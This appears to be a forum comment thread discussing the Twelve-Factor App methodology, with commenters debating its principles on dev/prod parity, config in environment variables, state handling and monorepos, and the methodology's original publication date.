Its interesting how this felt so natural and right way to do software. I remember people referencing it as the north star. And then gradually people came close to it but moved past it. Personally I feel that these concepts require to have generalist mindset aka application architect. What we have as of today are lot of product engineers within teams, product managers and management. The product engineers do not always have enough leverage or incentives to push for these kind of concepts. And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.

_def 1mo ago
I don't know. I've seen lots of "architects" conceptualizing just overly complex structures.
nunez 1mo ago
Idk I still think it's a great way to ship software

phoneafriend 1mo ago

Yeah this is good stuff. Shocked to click around the site and find Intuit [working to follow] it. Today they get a nod. Tomorrow it's back to wondering why they needed 10 GUI revisions and a 65% price hike in the past year alone. [palms forehead; returns to coffee + codebase]

msmith 1mo ago
How did you see a connection to Intuit? I believe this originated from Adam Wiggins, cofounder of Heroku - acquired by Salesforce.

Exoristos 1mo ago

While this is and has always been outstanding advice, be aware different readers tend to comprehend that advice differently. Make sure you understand your approach moving forward; do further research and hold discussions with seniors.

naniel 1mo ago

I was really hoping this would be about 12-factor authentication

bad_username 1mo ago

> X. Dev/prod parity Keep development, staging, and production as similar as possible Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.

Juliate 1mo ago

There is a GitHub repo with updates: https://github.com/twelve-factor/twelve-factor https://github.com/twelve-factor/twelve-factor

imglorp 1mo ago

Good best practices, mostly, but I feel the 12FA model totally punted on state by defining it out of scope: "state is over there in that external service, three-monkeys-emoji". Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.

xorcist 1mo ago
State is always the entire point.

n4pw01f 1mo ago

Used to follow this to a T. Love 12factor, evangelized it at a lot of companies too

echrisinger 1mo ago

> X. Dev/prod parity > Keep development, staging, and production as similar as possible Gets interesting at the seams of software & data environments. If my preprod stack operates independently of my prod stack (due to different internal users), but preprod data stack is best tested on prod data, the seams of these two things imply there should be a separate data stack for both preprod data versus preprod-internal. Generally pro 12-FA, but it's very service dev oriented.

nkmnz 1mo ago
I know an e-commerce company where the staging environment was completely hijacked by product managers to "stage" their data. They've even convinced management to ask IT to build a tool for migrating data from staging to production. All of this just to avoid building a proper release flow for (product-)data.

pjs_ 1mo ago

Imperfect but certified classic

whalesalad 1mo ago

When people ask me what my religious beliefs are, this is what I respond with.

arun6582 1mo ago

I read this 6 years ago. I’m glad to see this again

manganate06 1mo ago

[flagged]

luciandan 1mo ago

I love it how this is still at thing. Good principles never die, just like good music I guess.

lxe 1mo ago

I know that all of this is super relevant, but it's extremely aspirational, and I can pick apart pretty much every one of these factors on how it doesn't fully hold up when it comes to the reality of production applications.

Silasdev 1mo ago
Of course you can, but it's still a really great collection of good practices that lead you to a better place than if you didn't to do any of it.
duderific 1mo ago
Principles are by definition aspirational. The idea, I'd say, is to always have them in mind and get as close to them as possible.
tflinton 1mo ago
I know large Fortune 500 companies with 10,000 apps that follow it pretty religiously.

deleted 1mo ago

[deleted]

onionisafruit 1mo ago

I'm not sure where the (2025) in the title comes from, but this has been around much longer than that.

blurrybird 1mo ago
+1. I saw the 2025 suffix and fact that it was on the original domain and hoped they released a v2 to carry us through the world of Platform Engineering, Observability 2.0, Kubernetes vs Serverless, etc.
NtG_UK 1mo ago
2011 according to the earliest post on HN
tflinton 1mo ago
Heroku updated it in 2025.

mermadicsolutio 1mo ago

I'm debating the tradeoff for secret management in my app as well. Storing it is easy you just need encryption and it's mostly good. But delivering it is tricky. Delivery via env is simple for sure but can get leaked. The other route would be a job scoped signature, but this doesnt stop the job from printing the secret out, it only shrinks the blast radius. But if you delete the secret after the job is done or deployment is up, it's pretty much the same result

IshKebab 1mo ago

Storing config in environment variables is just such an incredibly obviously awful thing to do I can't recommend that anyone listens to this advice. Maybe some of the other things are good practice... honestly I don't remember... but once I saw that I immediately noped out. Would you get advice from an antivaxxer? Like, maybe they do have good advice but it's still a good idea to get your advice elsewhere!

RKearney 1mo ago

Title should read (2011) https://news.ycombinator.com/from?site=12factor.net https://news.ycombinator.com/from?site=12factor.net

Bo_Amigo_910 1mo ago
[dead]

deleted 1mo ago

[deleted]

cryptolobster 1mo ago

[dead]

gaigalas 1mo ago

2025?

hooch 1mo ago
True, it first appeared around 2011
tflinton 1mo ago
Heroku made some updates in 2025
- ameliaquining 1mo ago
  What updates were these?

subarctic 1mo ago

How is this only from 2025? I thought this was a thing back in 2015

svat 1mo ago
It's even older the page says "Last updated 2017" and the repo goes back to 2011, and in fact see HN discussion from November 2011: https://news.ycombinator.com/item?id=3267187 https://news.ycombinator.com/item?id=3267187

chanux 1mo ago

Very good discussion on III. Config or the use of environment variables for config. For the sake of discussion I'd share an argument against X. Dev/Prod parity https://www.sc.com/engineering/blogs/Technology/development-production https://www.sc.com/engineering/blogs/Technology/development-... I do not fully agree with the author and I think the author is reaching a bit hard because in my reading Twelve-Factor App X does not argue for complete parity. My reading is that whatever the app is interfacing should be kept as similar as possible.

alfons_foobar 1mo ago
that link 404's :(
- chanux 1mo ago
  What a shame. Please check the archive for now: https://web.archive.org/web/20240628184010/https://www.sc.com/engineering/blogs/Technology/development-production https://web.archive.org/web/20240628184010/https://www.sc.co...

jchook 1mo ago

You have to enjoy this article from the perception of its time. For example #1, the idea of a central codebase + many deploys was not always the way folks did things lol. The (2025) date must not be correct…

nunez 1mo ago
It's not this came out in 2012 when Heroku was The Way to run SaaS apps
- hawaiianbrah 1mo ago
  I was confused at first, thinking this was going to be an updated version of the original.

mcapodici 1mo ago

I haven't checked the 12 factors for a while but feel proud to have worked on systems probably for a long old while where most or all have applied. To the point I'd naturally do these things without consciously thinking. I think that says a lot about good practices spreading than anything else. To not do these things: maybe a startup moving fast, or a very isolated company or just some old legacy COBOL type thing where you want the thing to still work as the main concern.

taegee 1mo ago

I don't understand why I'm not seeing a single comment here regarding the fact that web apps are mostly a piece of shit performance and usability wise.

jodersky 1mo ago

> I. Codebase (https://12factor.net/codebase https://12factor.net/codebase) > Multiple apps sharing the same code is a violation of twelve-factor. I never understood why the 12 factor app is against monorepos. It seems completely orthogonal to the contract between an application and its execution platform, which if I understand correctly, is the main point of 12 factor.

deleted 1mo ago
[deleted]

timontoadnix 1mo ago

[dead]

ivolimmen 1mo ago

I still point to this document as the base of DevOps. Most people I work with in IT never read it. If you want to do proper DevOps these are a requirement not optional. Last time I pointed someone to this site was last week.

esher 1mo ago

Ah memories. Adam Wiggins, Heroku. Great marketing. IMHO to some extend not only best practices, but also limitations of the platform they had built. Interesting to see that also this now copyright by Salesforce.

rsgalloway 1mo ago

[dead]

sporkland 1mo ago

This is way older than 2025, no?